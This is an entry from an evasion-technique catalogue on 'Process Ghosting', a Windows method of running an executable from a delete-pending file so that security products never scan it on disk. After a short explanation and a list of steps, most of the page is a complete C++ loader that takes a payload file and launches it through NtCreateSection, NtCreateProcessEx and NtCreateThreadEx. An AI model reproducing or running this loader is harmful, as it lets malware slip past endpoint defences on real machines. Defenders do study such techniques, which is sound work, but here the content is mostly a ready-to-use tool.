Process Ghosting

Created the Wednesday 16 June 2021. Updated 1 year, 2 months ago.

Process Ghosting is a technique used to bypass detection by manipulating the executable image when a process is loaded.

Windows attempts to prevent mapped executables from being modified. Once a file is mapped into an image section, attempts to open it with FILE_WRITE_DATA (to modify it) will fail with ERROR_SHARING_VIOLATION. Deletion attempts via FILE_DELETE_ON_CLOSE/FILE_FLAG_DELETE_ON_CLOSE fail with ERROR_SHARING_VIOLATION. NtSetInformationFile(FileDispositionInformation) requires the DELETE access right. Even though the DELETE access right is granted to files mapped to image sections, NtSetInformationFile(FileDispositionInformation) fails with STATUS_CANNOT_DELETE. Deletion attempts via FILE_SUPERCEDE/CREATE_ALWAYS fail with ACCESS_DENIED.

An important note, however, is that this deletion restriction only comes into effect once the executable is mapped into an image section. This means that it is possible to create a file, mark it for deletion, map it to an image section, close the file handle to complete the deletion, then create a process from the now-fileless section. This is Process Ghosting.

The attack flow is:

Create a file
Put the file into a delete-pending state using NtSetInformationFile(FileDispositionInformation). Note: Attempting to use FILE_DELETE_ON_CLOSE instead will not delete the file.
Write the payload executable to the file. The content isn’t persisted because the file is already delete-pending. The delete-pending state also blocks external file-open attempts.
Create an image section for the file.
Close the delete-pending handle, deleting the file.
Create a process using the image section.
Assign process arguments and environment variables.
Create a thread to execute in the process.

Technique Identifier

U1232

Code Snippets

/*
*  Use: process_ghosting.exe x:\xxx\payload.dat x:\xxx\payload.exe
*/
#include <Windows.h>
#include <winternl.h>
#include <iostream>
#include <string>
#include <atlconv.h>
#include <UserEnv.h>
#pragma comment(lib, "Ntdll.lib")
#pragma comment(lib, "Userenv.lib")

typedef LONG KPRIORITY;
#define GDI_HANDLE_BUFFER_SIZE      34
#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001
#ifndef NT_SUCCESS
	#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#endif

typedef struct _CURDIR
{
	UNICODE_STRING DosPath;
	HANDLE Handle;

} CURDIR, * PCURDIR;

typedef struct _RTL_DRIVE_LETTER_CURDIR
{
	USHORT Flags;
	USHORT Length;
	ULONG  TimeStamp;
	STRING DosPath;

} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;

typedef struct _PEB_FREE_BLOCK
{
	struct _PEB_FREE_BLOCK* Next;
	ULONG Size;

} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;

typedef struct _PEB_
{
	BOOLEAN InheritedAddressSpace;      // These four fields cannot change unless the
	BOOLEAN ReadImageFileExecOptions;   //
	BOOLEAN BeingDebugged;              //
	BOOLEAN SpareBool;                  //
	HANDLE Mutant;                      // INITIAL_PEB structure is also updated.

	PVOID ImageBaseAddress;
	PPEB_LDR_DATA Ldr;
	PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
	PVOID SubSystemData;
	PVOID ProcessHeap;
	PRTL_CRITICAL_SECTION FastPebLock;
	PVOID FastPebLockRoutine;
	PVOID FastPebUnlockRoutine;
	ULONG EnvironmentUpdateCount;
	PVOID KernelCallbackTable;
	HANDLE SystemReserved;
	PVOID  AtlThunkSListPtr32;
	PPEB_FREE_BLOCK FreeList;
	ULONG TlsExpansionCounter;
	PVOID TlsBitmap;
	ULONG TlsBitmapBits[2];         // relates to TLS_MINIMUM_AVAILABLE
	PVOID ReadOnlySharedMemoryBase;
	PVOID ReadOnlySharedMemoryHeap;
	PVOID* ReadOnlyStaticServerData;
	PVOID AnsiCodePageData;
	PVOID OemCodePageData;
	PVOID UnicodeCaseTableData;

	//
	// Useful information for LdrpInitialize

	ULONG NumberOfProcessors;
	ULONG NtGlobalFlag;

	//
	// Passed up from MmCreatePeb from Session Manager registry key
	//

	LARGE_INTEGER CriticalSectionTimeout;
	ULONG HeapSegmentReserve;
	ULONG HeapSegmentCommit;
	ULONG HeapDeCommitTotalFreeThreshold;
	ULONG HeapDeCommitFreeBlockThreshold;

	//
	// Where heap manager keeps track of all heaps created for a process
	// Fields initialized by MmCreatePeb.  ProcessHeaps is initialized
	// to point to the first free byte after the PEB and MaximumNumberOfHeaps
	// is computed from the page size used to hold the PEB, less the fixed
	// size of this data structure.
	//

	ULONG NumberOfHeaps;
	ULONG MaximumNumberOfHeaps;
	PVOID* ProcessHeaps;

	//
	//
	PVOID GdiSharedHandleTable;
	PVOID ProcessStarterHelper;
	PVOID GdiDCAttributeList;
	PVOID LoaderLock;

	//
	// Following fields filled in by MmCreatePeb from system values and/or
	// image header. These fields have changed since Windows NT 4.0,
	// so use with caution
	//

	ULONG OSMajorVersion;
	ULONG OSMinorVersion;
	USHORT OSBuildNumber;
	USHORT OSCSDVersion;
	ULONG OSPlatformId;
	ULONG ImageSubsystem;
	ULONG ImageSubsystemMajorVersion;
	ULONG ImageSubsystemMinorVersion;
	ULONG ImageProcessAffinityMask;
	ULONG GdiHandleBuffer[GDI_HANDLE_BUFFER_SIZE];

} PEB_, * PPEB_;

typedef enum _FILE_INFORMATION_CLASS_
{
	FileDirectoryInformation_ = 1,
	FileFullDirectoryInformation,   // 2
	FileBothDirectoryInformation,   // 3
	FileBasicInformation,           // 4  wdm
	FileStandardInformation,        // 5  wdm
	FileInternalInformation,        // 6
	FileEaInformation,              // 7
	FileAccessInformation,          // 8
	FileNameInformation,            // 9
	FileRenameInformation,          // 10
	FileLinkInformation,            // 11
	FileNamesInformation,           // 12
	FileDispositionInformation,     // 13
	FilePositionInformation,        // 14 wdm
	FileFullEaInformation,          // 15
	FileModeInformation,            // 16
	FileAlignmentInformation,       // 17
	FileAllInformation,             // 18
	FileAllocationInformation,      // 19
	FileEndOfFileInformation,       // 20 wdm
	FileAlternateNameInformation,   // 21
	FileStreamInformation,          // 22
	FilePipeInformation,            // 23
	FilePipeLocalInformation,       // 24
	FilePipeRemoteInformation,      // 25
	FileMailslotQueryInformation,   // 26
	FileMailslotSetInformation,     // 27
	FileCompressionInformation,     // 28
	FileObjectIdInformation,        // 29
	FileCompletionInformation,      // 30
	FileMoveClusterInformation,     // 31
	FileQuotaInformation,           // 32
	FileReparsePointInformation,    // 33
	FileNetworkOpenInformation,     // 34
	FileAttributeTagInformation,    // 35
	FileTrackingInformation,        // 36
	FileIdBothDirectoryInformation, // 37
	FileIdFullDirectoryInformation, // 38
	FileValidDataLengthInformation, // 39
	FileShortNameInformation,       // 40
	FileIoCompletionNotificationInformation, // 41
	FileIoStatusBlockRangeInformation,       // 42
	FileIoPriorityHintInformation,           // 43
	FileSfioReserveInformation,              // 44
	FileSfioVolumeInformation,               // 45
	FileHardLinkInformation,                 // 46
	FileProcessIdsUsingFileInformation,      // 47
	FileMaximumInformation                   // 48
} FILE_INFORMATION_CLASS_, * PFILE_INFORMATION_CLASS_;

typedef struct _FILE_DISPOSITION_INFORMATION {
	BOOLEAN DeleteFile;
} FILE_DISPOSITION_INFORMATION, * PFILE_DISPOSITION_INFORMATION;

typedef struct _RTL_USER_PROCESS_PARAMETERS_
{
	ULONG MaximumLength;                            // Should be set before call RtlCreateProcessParameters
	ULONG Length;                                   // Length of valid structure
	ULONG Flags;                                    // Currently only PPF_NORMALIZED (1) is known:
													//  - Means that structure is normalized by call RtlNormalizeProcessParameters
	ULONG DebugFlags;

	PVOID ConsoleHandle;                            // HWND to console window associated with process (if any).
	ULONG ConsoleFlags;
	HANDLE StandardInput;
	HANDLE StandardOutput;
	HANDLE StandardError;

	CURDIR CurrentDirectory;                        // Specified in DOS-like symbolic link path, ex: "C:/WinNT/SYSTEM32"
	UNICODE_STRING DllPath;                         // DOS-like paths separated by ';' where system should search for DLL files.
	UNICODE_STRING ImagePathName;                   // Full path in DOS-like format to process'es file image.
	UNICODE_STRING CommandLine;                     // Command line
	PVOID Environment;                              // Pointer to environment block (see RtlCreateEnvironment)
	ULONG StartingX;
	ULONG StartingY;
	ULONG CountX;
	ULONG CountY;
	ULONG CountCharsX;
	ULONG CountCharsY;
	ULONG FillAttribute;                            // Fill attribute for console window
	ULONG WindowFlags;
	ULONG ShowWindowFlags;
	UNICODE_STRING WindowTitle;
	UNICODE_STRING DesktopInfo;                     // Name of WindowStation and Desktop objects, where process is assigned
	UNICODE_STRING ShellInfo;
	UNICODE_STRING RuntimeData;
	RTL_DRIVE_LETTER_CURDIR CurrentDirectores[0x20];
	ULONG EnvironmentSize;
} RTL_USER_PROCESS_PARAMETERS_, * PRTL_USER_PROCESS_PARAMETERS_;

typedef NTSTATUS(NTAPI* pRtlCreateProcessParametersEx)(
	_Out_ PRTL_USER_PROCESS_PARAMETERS* pProcessParameters,
	_In_ PUNICODE_STRING ImagePathName,
	_In_opt_ PUNICODE_STRING DllPath,
	_In_opt_ PUNICODE_STRING CurrentDirectory,
	_In_opt_ PUNICODE_STRING CommandLine,
	_In_opt_ PVOID Environment,
	_In_opt_ PUNICODE_STRING WindowTitle,
	_In_opt_ PUNICODE_STRING DesktopInfo,
	_In_opt_ PUNICODE_STRING ShellInfo,
	_In_opt_ PUNICODE_STRING RuntimeData,
	_In_ ULONG Flags
	);

typedef NTSTATUS(NTAPI* pNtCreateProcessEx)
(
	OUT PHANDLE				ProcessHandle,
	IN ACCESS_MASK			DesiredAccess,
	IN POBJECT_ATTRIBUTES   ObjectAttributes  OPTIONAL,
	IN HANDLE   ParentProcess,
	IN ULONG    Flags,
	IN HANDLE   SectionHandle OPTIONAL,
	IN HANDLE   DebugPort OPTIONAL,
	IN HANDLE   ExceptionPort OPTIONAL,
	IN BOOLEAN  InJob
	);
typedef NTSTATUS(NTAPI* pNtCreateThreadEx) (
	OUT  PHANDLE ThreadHandle,
	IN  ACCESS_MASK DesiredAccess,
	IN  POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
	IN  HANDLE ProcessHandle,
	IN  PVOID StartRoutine,
	IN  PVOID Argument OPTIONAL,
	IN  ULONG CreateFlags,
	IN  ULONG_PTR ZeroBits,
	IN  SIZE_T StackSize OPTIONAL,
	IN  SIZE_T MaximumStackSize OPTIONAL,
	IN  PVOID AttributeList OPTIONAL
	);
typedef NTSTATUS(NTAPI* pNtCreateSection)(
	PHANDLE            SectionHandle,
	ACCESS_MASK        DesiredAccess,
	POBJECT_ATTRIBUTES ObjectAttributes,
	PLARGE_INTEGER     MaximumSize,
	ULONG              SectionPageProtection,
	ULONG              AllocationAttributes,
	HANDLE             FileHandle
	);

typedef NTSTATUS (NTAPI* pNtQueryInformationProcess)(
	IN HANDLE ProcessHandle,
	IN PROCESSINFOCLASS ProcessInformationClass,
	OUT PVOID ProcessInformation,
	IN ULONG ProcessInformationLength,
	OUT PULONG ReturnLength OPTIONAL
);

typedef NTSTATUS (NTAPI* pNtSetInformationFile)(
	IN HANDLE FileHandle,
	OUT PIO_STATUS_BLOCK IoStatusBlock,
	IN PVOID FileInformation,
	IN ULONG Length,
	IN FILE_INFORMATION_CLASS FileInformationClass
);

static pNtCreateProcessEx	NtCreateProcessEx = nullptr;
static pNtCreateThreadEx	NtCreateThreadEx = nullptr;
static pNtCreateSection		NtCreateSection = nullptr;
static pNtQueryInformationProcess NtQueryInformationProcess_ = nullptr;
static pNtSetInformationFile NtSetInformationFile = nullptr;
static pRtlCreateProcessParametersEx RtlCreateProcessParametersEx = nullptr;

std::wstring Str2WStr(const std::string& str)
{
	try
	{
		USES_CONVERSION;
		return A2W(str.c_str());
	}
	catch (const std::exception&)
	{
		return L"";
	}
}

std::string WStr2Str(const std::wstring& wstr)
{
	try
	{
		USES_CONVERSION;
		return W2A(wstr.c_str());
	}
	catch (const std::exception&)
	{
		return "";
	}
}

const bool CGetCurrentDirectory(std::string& strDirpath)
{
	char szModule[1024] = { 0, };
	GetModuleFileNameA(NULL, szModule, sizeof(szModule) / sizeof(char));
	strDirpath = szModule;
	if (0 >= strDirpath.size())
	{
		OutputDebugString(L"GetModuleFileNameA Error");
		return 0;
	}
	size_t offset = strDirpath.rfind("\\");
	if (0 >= offset)
	{
		OutputDebugString(L"GetModuleFileNameA Size < 0");
		return 0;
	}
	strDirpath = strDirpath.substr(0, offset + 1);
	return true;
}

const bool InitFunction()
{
	const HMODULE hLib = LoadLibraryA("ntdll.dll");
	if (hLib == nullptr) {
		return false;
	}
	{
		const FARPROC pFarProc = GetProcAddress(hLib, "NtCreateProcessEx");
		if (pFarProc) {
			NtCreateProcessEx = (pNtCreateProcessEx)pFarProc;
		}
	}
	{

		const FARPROC pFarProc = GetProcAddress(hLib, "NtCreateThreadEx");
		if (pFarProc) {
			NtCreateThreadEx = (pNtCreateThreadEx)pFarProc;
		}
	}
	{

		const FARPROC pFarProc = GetProcAddress(hLib, "NtCreateSection");
		if (pFarProc) {
			NtCreateSection = (pNtCreateSection)pFarProc;
		}
	}
	{

		const FARPROC pFarProc = GetProcAddress(hLib, "NtQueryInformationProcess");
		if (pFarProc) {
			NtQueryInformationProcess_ = (pNtQueryInformationProcess)pFarProc;
		}
	}
	{

		const FARPROC pFarProc = GetProcAddress(hLib, "NtSetInformationFile");
		if (pFarProc) {
			NtSetInformationFile = (pNtSetInformationFile)pFarProc;
		}
	}
	{

		const FARPROC pFarProc = GetProcAddress(hLib, "RtlCreateProcessParametersEx");
		if (pFarProc) {
			RtlCreateProcessParametersEx = (pRtlCreateProcessParametersEx)pFarProc;
		}
	}

	if (!NtCreateProcessEx || !NtCreateThreadEx || !NtCreateSection || \
		!NtQueryInformationProcess_ || !NtSetInformationFile || !RtlCreateProcessParametersEx)
		return false;
	return true;
}

const DWORD ReadPayLoadData(const std::string& strFullPath, char*& strReadBuf)
{
	bool bRet = false;
	HANDLE hFile = NULL; 
	DWORD dwSize = 0;
	hFile = CreateFileA(strFullPath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	do
	{
		if (hFile == INVALID_HANDLE_VALUE)
			break;
		dwSize = GetFileSize(hFile, &dwSize);
		strReadBuf = new char[dwSize + 1];
		if (!strReadBuf)
			break;
		RtlSecureZeroMemory(strReadBuf, dwSize + 1);
		bRet = true;
	} while (false);
	if (hFile) {
		ReadFile(hFile, strReadBuf, dwSize, &dwSize, NULL);
		CloseHandle(hFile);
	}
	return dwSize;
}

const bool GetProcessPeb(HANDLE hProcess, OUT PEB_& peb, PROCESS_BASIC_INFORMATION& pbi)
{
	bool bSuc = false;
	HANDLE hNewDup = nullptr;
	if (DuplicateHandle(GetCurrentProcess(), hProcess, GetCurrentProcess(), &hNewDup, 0, FALSE, DUPLICATE_SAME_ACCESS))
	{
		const NTSTATUS nRet = NtQueryInformationProcess_(hNewDup, ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL);
		if (BCRYPT_SUCCESS(nRet)) {
			if (ReadProcessMemory(hNewDup, pbi.PebBaseAddress, &peb, sizeof(PEB_), 0))
			{
				bSuc = true;
				//if (ReadProcessMemory(hNewDup, peb.ProcessParameters, &rups, sizeof(RTL_USER_PROCESS_PARAMETERS), 0))
				//	bSuc = true;
				//else
				//	std::cerr << "[-]  Peb ProcessParameters Failuer" << std::endl;
			}
			else
				std::cerr << "[-]  Peb ReadProcessMemory Failuer" << std::endl;
		}
		else
			std::cerr << "[-]  Peb NtQueryInformationProcess Failuer" << std::endl;
		CloseHandle(hNewDup);
	}
	return bSuc;
}

const ULONGLONG GetEntryPointRva(char*& pData)
{
	try
	{
		PIMAGE_DOS_HEADER pDosHander = (PIMAGE_DOS_HEADER)pData;
#ifdef _WIN64
		PIMAGE_NT_HEADERS pHeadres = (PIMAGE_NT_HEADERS)(pDosHander->e_lfanew + (DWORD64)pData);
#else
		PIMAGE_NT_HEADERS pHeadres = (PIMAGE_NT_HEADERS)(pDosHander->e_lfanew + (LONG)pData);
#endif
		if(pHeadres)
			return pHeadres->OptionalHeader.AddressOfEntryPoint;
		return 0;
	}
	catch (const std::exception&)
	{
		return 0;
	}
}

LPVOID const WriteParamsProcess(const HANDLE& hProcess, const PRTL_USER_PROCESS_PARAMETERS_& params, DWORD protect)
{
	if (!hProcess || !params)
		return nullptr;

	PVOID buffer = params;
	ULONG_PTR buffer_end = (ULONG_PTR)params + params->Length;

	//params and environment in one space:
	if (params->Environment) {
		if ((ULONG_PTR)params > (ULONG_PTR)params->Environment) {
			buffer = (PVOID)params->Environment;
		}
		ULONG_PTR env_end = (ULONG_PTR)params->Environment + params->EnvironmentSize;
		if (env_end > buffer_end) {
			buffer_end = env_end;
		}
	}
	// copy the continuous area containing parameters + environment
	SIZE_T buffer_size = buffer_end - (ULONG_PTR)buffer;
	if (VirtualAllocEx(hProcess, buffer, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) {
		if (!WriteProcessMemory(hProcess, (LPVOID)params, (LPVOID)params, params->Length, NULL)) {
			std::cerr << "Writing RemoteProcessParams failed" << std::endl;
			return nullptr;
		}
		if (params->Environment) {
			if (!WriteProcessMemory(hProcess, (LPVOID)params->Environment, (LPVOID)params->Environment, params->EnvironmentSize, NULL)) {
				std::cerr << "Writing environment failed" << std::endl;
				return nullptr;
			}
		}
		return (LPVOID)params;
	}

	// could not copy the continuous space, try to fill it as separate chunks:
	if (!VirtualAllocEx(hProcess, (LPVOID)params, params->Length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) {
		std::cerr << "Allocating RemoteProcessParams failed" << std::endl;
		return nullptr;
	}
	if (!WriteProcessMemory(hProcess, (LPVOID)params, (LPVOID)params, params->Length, NULL)) {
		std::cerr << "Writing RemoteProcessParams failed" << std::endl;
		return nullptr;
	}
	if (params->Environment) {
		if (!VirtualAllocEx(hProcess, (LPVOID)params->Environment, params->EnvironmentSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) {
			std::cerr << "Allocating environment failed" << std::endl;
			return nullptr;
		}
		if (!WriteProcessMemory(hProcess, (LPVOID)params->Environment, (LPVOID)params->Environment, params->EnvironmentSize, NULL)) {
			std::cerr << "Writing environment failed" << std::endl;
			return nullptr;
		}
	}
	return (LPVOID)params;
}

const bool SetProcessParameter(const HANDLE& hProcess, const std::string& targetPath, const ULONGLONG uPebBaseAddr)
{
	// Set Process Parameter
	const std::wstring wTarGetPath = Str2WStr(targetPath).c_str();
	UNICODE_STRING uTargetPath = { 0 };
	RtlInitUnicodeString(&uTargetPath, wTarGetPath.c_str());

	std::wstring::size_type wStrType = wTarGetPath.find_last_of('\\');
	if (wStrType == std::wstring::npos)
		return false;

	std::wstring wstrTarGetCurrentDir = wTarGetPath.substr(0, wStrType);
	if (wstrTarGetCurrentDir.empty())
		return false;

	UNICODE_STRING uTGetCurrentDir = { 0 };
	RtlInitUnicodeString(&uTGetCurrentDir, wstrTarGetCurrentDir.c_str());

	const wchar_t dllDir[] = L"C:\\Windows\\System32";
	UNICODE_STRING uDllDir = { 0 };
	RtlInitUnicodeString(&uDllDir, dllDir);

	UNICODE_STRING uWindowName = { 0 };
	const wchar_t* windowName = (LPWSTR)L"360";
	RtlInitUnicodeString(&uWindowName, windowName);

	LPVOID environment;
	CreateEnvironmentBlock(&environment, NULL, TRUE);

	PRTL_USER_PROCESS_PARAMETERS_ params = nullptr;
	NTSTATUS nStu = RtlCreateProcessParametersEx(
		(PRTL_USER_PROCESS_PARAMETERS*)(&params),
		(PUNICODE_STRING)&uTargetPath,
		(PUNICODE_STRING)&uDllDir,
		(PUNICODE_STRING)&uTGetCurrentDir,
		(PUNICODE_STRING)&uTargetPath,
		environment,
		(PUNICODE_STRING)&uWindowName,
		nullptr,
		nullptr,
		nullptr,
		RTL_USER_PROC_PARAMS_NORMALIZED
	);

	if (!NT_SUCCESS(nStu)) {
		std::cerr << "[-] RtlCreateProcessParametersEx failed" << std::endl;
		return false;
	}

	LPVOID pRemoteParams = WriteParamsProcess(hProcess, params, PAGE_READWRITE);
	if (!pRemoteParams) {
		std::cout << "[-] Cannot make a remote copy of parameters: " << GetLastError() << std::endl;
		return false;
	}

	// Set Params In Peb
	{
		// Get access to the remote PEB:
		ULONGLONG remote_peb_addr = uPebBaseAddr;
		if (!remote_peb_addr) {
			std::cerr << "[-] Failed getting remote PEB address!" << std::endl;
			return false;
		}

		PEB peb_copy = { 0 };
		ULONGLONG offset = (ULONGLONG)&peb_copy.ProcessParameters - (ULONGLONG)&peb_copy;

		// Calculate offset of the parameters
		LPVOID remote_img_base = (LPVOID)(remote_peb_addr + offset);

		//Write parameters address into PEB:
		SIZE_T written = 0;
		if (!WriteProcessMemory(hProcess, remote_img_base,
			&pRemoteParams, sizeof(PVOID),
			&written))
		{
			std::cout << "[-] Cannot update Params!" << std::endl;
			return false;
		}
		return true;
	}
}

int main(int argc, char* argv[])
{
	if (argc < 3) {
		std::cout << "[-] Parameter Path Error..." << std::endl;
		return 0;
	}

	const std::string sPayLoadPath = argv[1];
	if (sPayLoadPath.empty()) {
		std::cout << "[-] Parameter PayLoad Path Error..." << std::endl;
		return 0;
	}

	const std::string sTargetPath = argv[2];
	if (sTargetPath.empty()) {
		std::cout << "[-] Parameter Target Path Error..." << std::endl;
		return 0;
	}

	// Read Payload to BufData
	char* pPayLoadData = nullptr;
	const DWORD dwDataSize = ReadPayLoadData(sPayLoadPath, pPayLoadData);
	if (!pPayLoadData) {
		std::cout << "[-] Read Payload Data Failuer, Path: " << sPayLoadPath.c_str() << std::endl;
		return 0;
	}
	std::cout << "[+] Read Payload Data Success, Path: " << sPayLoadPath.c_str() << std::endl;

	if (!InitFunction()) {
		std::cout << "[-] Init Function Failuer, Path: " << std::endl;
		return 0;
	}
	
	// 1. Create New File
	HANDLE hFile = CreateFileA(
		sTargetPath.c_str(),
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		CREATE_ALWAYS,
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED | FILE_FLAG_DELETE_ON_CLOSE,
		NULL);

	if (INVALID_HANDLE_VALUE == hFile || !hFile) {
		std::cout << "[-] Create New TargetPath File Failuer, Path: " << sTargetPath.c_str() << std::endl;
		return 0;
	}

	HANDLE hSection = nullptr;
	HANDLE hProcess = nullptr;
	do
	{
		// Set FileAttr Delete on Close FILE_FLAG_DELETE_ON_CLOSE
		IO_STATUS_BLOCK status_block = { 0 };
		FILE_DISPOSITION_INFORMATION info = { 0 };
		info.DeleteFile = TRUE;
		NTSTATUS hStu = NtSetInformationFile(hFile, &status_block, &info, sizeof(info), (FILE_INFORMATION_CLASS)FileDispositionInformation);
		if (!NT_SUCCESS(hStu)) {
			std::cout << "[-] SetInformationFile Delete Failuer, Path: " << sTargetPath.c_str() << std::endl;
			break;
		}

		// 3. Write Data Flush
		DWORD dWriteLens = 0;
		OVERLAPPED overped = { 0, };
		WriteFile(hFile, pPayLoadData, dwDataSize, &dWriteLens, &overped);
		FlushFileBuffers(hFile);

		// 4. Craete Section
		hStu = NtCreateSection(&hSection,
			SECTION_ALL_ACCESS,
			NULL,
			0,
			PAGE_READONLY,
			SEC_IMAGE,
			hFile
		);
		if (!NT_SUCCESS(hStu) || !hSection) {
			std::cout << "[-] CreateSection Failuer, Path: " << sTargetPath.c_str() << std::endl;
			break;
		}
		std::cout << "[+] CreateSection Success, Path: " << sTargetPath.c_str() << std::endl;

		// 5. Close File Handle -- File Mark Delete & Delete
		if (hFile) {
			CloseHandle(hFile);
			hFile = NULL;
		}

		// 6. CreateProcessEx
		hStu = NtCreateProcessEx(
			&hProcess,
			PROCESS_ALL_ACCESS,
			NULL,
			GetCurrentProcess(),
			4,// PS_INHERIT_HANDLES
			hSection,
			NULL,
			NULL,
			FALSE
		);
		if (!NT_SUCCESS(hStu) || !hProcess) {
			std::cout << "[-] CreateProcess Failuer, Path: " << sTargetPath.c_str() << std::endl;
			break;
		}
		std::cout << "[+] CreateProcess Success, Path: " << sTargetPath.c_str() << std::endl;

		// 7. Get Pe ImageBase pEntry
		PEB_ pebData = { 0 }; PROCESS_BASIC_INFORMATION pbi = { 0, };
		if (!GetProcessPeb(hProcess, pebData, pbi)) {
			std::cout << "[-] Get ProcessPeb Failuer, Handle: " << hProcess << std::endl;
			break;
		}
		ULONGLONG uImageBaseAddr = (ULONGLONG)pebData.ImageBaseAddress;
		std::cout << "[+] Get Process ImageBase Success, Handle: " << hProcess << " ImageBaseAddr: " << uImageBaseAddr << std::endl;

		// Get File Oep
		ULONGLONG procEntry = 0;
		const ULONGLONG dwPayLoadEp = GetEntryPointRva(pPayLoadData);
		if (dwPayLoadEp) {
			procEntry = dwPayLoadEp + uImageBaseAddr;
		}
		else {
			std::cout << "[-] Get PE Rva Failuer, Handle: " << hProcess << std::endl;
			break;
		}
		std::cout << "[+] Get OEP Success, Handle: " << hProcess << " OEPAddr: " << procEntry << std::endl;
		
		// Create 
		if (!SetProcessParameter(hProcess, sTargetPath, (ULONGLONG)pbi.PebBaseAddress)) {
			std::cout << "[-] Set Process Parameter Failuer, Handle: " << hProcess << std::endl;
		}

		// 8. CreateThread ImageBase
		HANDLE hThread = NULL;
		hStu = NtCreateThreadEx(&hThread,
			THREAD_ALL_ACCESS,
			NULL,
			hProcess,
			(LPTHREAD_START_ROUTINE)procEntry,
			NULL,
			FALSE,
			0,
			0,
			0,
			NULL
		);
		if (!NT_SUCCESS(hStu)) {
			std::cout << "[-] CreateThread Pointer Pe Runing Failuer, Handle: " << hProcess << std::endl;
			break;
		}
		std::cout << "[+] CreateThread Runing Success, Handle " << hProcess << " Tid: " << hThread << std::endl;
	} while (false);
		
	// clear
	if (pPayLoadData) {
		delete[] pPayLoadData; pPayLoadData = nullptr;
	}
	if (hSection) {
		CloseHandle(hSection);
		hSection = NULL;
	}
	if (hFile) {
		CloseHandle(hFile);
		hFile = NULL;
	}
	if (hProcess) {
		CloseHandle(hProcess);
		hProcess = NULL;
	}
	return 0;
}

About Author Open Snippet

Author: 一半人生 / Target Platform: Windows

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.

What you need to know about Process Ghosting, a new executable image tampering attack | Elastic Blog